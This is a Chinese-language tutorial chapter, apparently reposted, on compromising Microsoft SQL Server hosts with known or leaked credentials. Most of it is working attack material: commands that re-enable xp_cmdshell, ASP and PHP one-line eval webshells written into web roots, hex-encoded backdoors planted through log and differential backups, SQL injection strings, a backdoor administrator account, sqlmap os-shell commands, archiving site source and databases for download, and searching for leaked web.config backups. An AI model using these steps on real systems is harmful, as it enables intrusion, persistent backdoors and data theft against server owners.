sqlmap從入門到精通-第四章-4-4 使用sqlmap直連MSSQL獲取webshell或權限


4.4 使用sqlmap直連MSSQL獲取webshell或權限

在某些情況下可能不存在SQL注入漏洞,但是通過發現目標源代碼泄露,備份泄露,文件包含等方法獲取了數據庫服務器的IP地址,數據庫賬戶和密碼,而且含有對外可以訪問的端口,或者可以通過代理的方式能夠訪問到端口,簡單點理解就是可以通過公網直連MSSQL數據庫,那么這個時候就可以根據具體情況獲取webshell或系統權限

4.4.1 MSSQL數據獲取webshell相關命令

1. 數據庫恢復xp_cmdshell存儲過程、

(1) 判斷xp_cmdshell是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
或者
if exists (SELECT null FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
begin
print N'當前數據庫引擎存在xp_cmdshell'
end

(2) MSSQL 2000版本:
dbcc addextendedproc ("xp_cmdshell", "xplog70.dll") exec sp_addextendedproc xp_cmdshell, @dllname ='xplog70.dll'


(3) MSSQL 2005及以上版本:
xp_cmdshell是默認關閉的,因此需要手動開啟,但是開啟xp_cmdshell需要sa權限
依次的步驟如下:

# 允許修改高級參數
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 開啟xp_cmdshell
exec sp_configure 'xp_cmdshell',1;
# 配置生效
RECONFIGURE;

可以一次性操作
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',1;RECONFIGURE;


關閉xp_cmdshell

# 開啟高級選項
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 關閉xp_cmdshell
exec sp_configure 'xp_cmdshell',0;
# 配置生效
RECONFIGURE;

一次性操作
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',0;RECONFIGURE;

2. 手工注入寫入shell
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'

3. 反彈寫入webshell
'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'

這里的必要條件是必須知道網站的真實路徑,可以通過訪問網站文件出錯來獲取真實路徑

4. SQLTOOLS工具通過賬戶直接連接

(1) 恢復存儲過程

(2) 通過文件管理查看文件及目錄

(3) 獲取網站的真實路徑

(4) 寫入shell
'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'

5. 知道sa賬戶和密碼,直連后寫入webshell或獲取系統權限

sqlmap.py -d mssql://sa:sa@xxx.xxx.xxx.xxx:1433/master --os-shell

6. 執行提權命令

;exec master..xp_cmdshell 'net user bmfx bmfx /add' 或者
;exec master.dbo.xp_cmdshell 'net user bmfx bmfx /add'

;exec master..xp_cmdshell 'net localgroup administrators bmfx /add' 或者
;exec master.dbo.xp_cmdshell 'net localgroup administrators bmfx /add'

exec master..xp_cmdshell 'whoami';


這里就是通過存儲過程執行添加用戶和密碼 ,然后將添加的用戶加入到管理員組

7. 日志備份獲取webshell

(1) log日志備份獲取webshell

';alter database bmfxtest set RECOVERY FULL--

';use bmfxtest--

';create table cmd (a image)--

';backup log bmfxtest to disk = 'C:\dbbackup' with init--

';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--

';backup log bmfxtest to disk = 'D:\wwwroot\bmfx.asp'--

';drop table cmd--

=====================================================================================

上述測試有點問題,大家可以根據實際情況按照上面方式測試,下面有一種我測試成功,可以備份成本地文件

# 查看要創建的臨時表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 將數據庫備份至文件中
backup database bmfxtest to disk = 'C:\tools\2233.bak';
# 創建臨時表
create table test (a image);
# 寫入木馬
insert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);
# 重新備份,木馬寫入文件
backup database bmfxtest to disk = 'C:\tools\22332.asp' with differential,format;

(2) 差異備份
sql注入執行sql語句

';drop table cmd--

';create table cmd (a image)--

';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--

';execute sp_makewebtask @outputfile='D:\www\bmfx.asp', @query='select a from cmd'--

';exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)-- 這里括號里面是十六進制,可以通過Notepad++或者Burpsuite工具進行轉換

執行sql語句

use bmfxtest

drop table test

create table cmd (a image)--

insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--

execute sp_makewebtask @outputfile='C:\tools\erererbmfx.asp', @query='select a from cmd'

exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 這里括號里面是十六進制,可以通過Notepad++或者Burpsuite工具進行轉換


8. 手工注入獲取webshell

(1) 注入點判斷

' and 1=user;--

(2) 創建臨時表

';CREATE TABLE TTBMFX_TMP (tmp1 varchar(8000));--

(3) 查詢文件
for /r C:\ %i in (Newslist*.aspx) do @echo %i
或者
for /r C:\ %i in (Newslist.aspx*) do @echo %i

上面就是根據某一個文件名,然后通過通配符遍歷出路徑,下面就是實際帶入到SQL注入中操作
';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r C:\ %i in (Newslist*.aspx) do @echo %i ';--

(4) 查看文件名稱並獲取真實的路徑
' and 1=(select top 1 tmp1 from tt_tmp) and 'a'='a
' and 1=(select top 1 tmp1 from tt_tmp where tmp1 not in ('C:\inetpub\wwwroot\bmfx.aspx')) and 'a'='a

(5) 文件寫入測試

';exec master..xp_cmdshell 'echo test > C:\\tools\\bmfx.txt';--

(6) 寫入shell

';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--

4.4.2 MSSQL數據庫獲取webshell思路和方法

在實際的環境中需要根據實際情況判斷,所有都是以結果為導向,通過獲取數據庫獲取所在的服務器系統權限或者是webshell權限

1. 通過SQL查詢分析器及SQL數據庫客戶端進行連接獲取webshell及系統權限

(1) 連接數據庫成功測試

(2) 看是不是存在xp_cmdshell,如果存在就恢復xp_cmdshell存儲過程

(3) 執行命令

* 遍歷C盤目錄或者子目錄及目錄樹結構

exec master.dbo.xp_dirtree 'C:\'

* 獲取當前所有驅動器

exec master.dbo.xp_availablemedia;

* 獲取子目錄列表

exec master.dbo.xp_subdirs 'C:\';

* 查看文件的內容

exec master.dbo.xp_cmdshell 'type C:\wwwroot\web\web.config';

(4) 找到網站目錄,通過執行命令查看網頁相對應的名稱和類型,獲取網站的真實路徑

(5) 壓縮源代碼及數據庫
rar a -ep -p123 D:\1.rar D:\wwwroot // 壓縮網站下所有數據,密碼為123
rar a -ep -p123 D:\ebmfx.rar D:\database\ebmfx.bak //壓縮數據庫,密碼為123
move D:\ebmfx.rar D:\wwwroot\bmfx.rar //將ebmfx.rar 移動到wwwroot目錄下
http://www.xxx.com/bmfx.rar //通過瀏覽器在本地下載bmfx.rar

(6) 寫入一句話后門
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--

(7) webshell提權

2. 通過SQLTOOLS工具進行文件查看獲取webshell

(1) 恢復存儲過程

(2) 執行命令或查看磁盤文件目錄及內容

(3) 后續步驟跟上面類似

3. 使用sqlmap直連MSSQL獲取webshell或權限

(1) 連接測試

sqlmap.py -d mssql://sa:sa@ip:1433/master

實際測試過程如下,有點小問題,報錯過程有如下操作,但是還沒有解決,想想在Windows環境下,有非常好的操作工具遍歷,所以sqlmap就不折騰了
sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell

pip install pymssql
pip install pyodbc
apt-get install unixodbc -y

(2) 獲取os-shell

sqlmap.py -d mssql://sa:sa@ip:1433/master --os-shell

(3) 在獲取的shell中執行命令

4. 查看CMS相關數據庫,通過登錄CMS來獲取webshell

(1) 通過SQL查詢分析器,SQLTOOLS,sqlmap獲取CMS對應數據庫

(2) 查看並獲取后台管理員表數據

(3) 如果是加密數據,就進行解密

(4) 尋找CMS后台地址

(5) 登錄CMS后台

(6) 尋找上傳位置,嘗試獲取webshell

(7) 也可以通過log,差異備份的方法來獲取webshell

4.4.3 sqlmap直連數據庫獲取webshell

1. 直連數據庫測試

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master

2. 獲取os-shell

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --os-shell

3. 如果未獲取系統權限

(1) 查看磁盤文件

dir C:\

(2) 獲取網站所在目錄為C:\www\phpstudypro\,寫入一句話后門到此目錄下面

echo ^<?php @eval ($_POST['bmfx']);?^>^ >C:\www\phpstudypro\bmfx.php

echo ^<?php @eval ($_POST['bmfx']);?^>^ > C:\tools\bmfx.php

(3) 查看寫入內容 type C:\www\phpstudypro\bmfx.php

(4) 獲取webshell

4. 執行其他命令

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --dbs

4.4.4 利用漏洞搜索引擎搜索目標

1. 搜索網站備份文件

(1) 利用fofa網站搜索web.config.bak

(2) 利用shodan網站搜索web.config.bak

2. 搜索其他關鍵字

www.rar, wwwroot.rar, wwwroot.zip, www.zip

4.4.5 構造SQL注入后門

1. 構造SQL注入后門前提條件

通過前面的方法獲取了目標站點的webshell,然后通過webshell在網站創建文件

2. ASP+IIS+MSSQL站點構造SQL注入后門

(1) 不使用數據庫連接文件

(2) 使用系統自帶的連接文件

 

參考:
https://www.cnblogs.com/jerrylocker/p/10938899.html
https://www.cnblogs.com/ichunqiu/p/7249474.html
https://www.cnblogs.com/ichunqiu/p/7249516.html

 


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM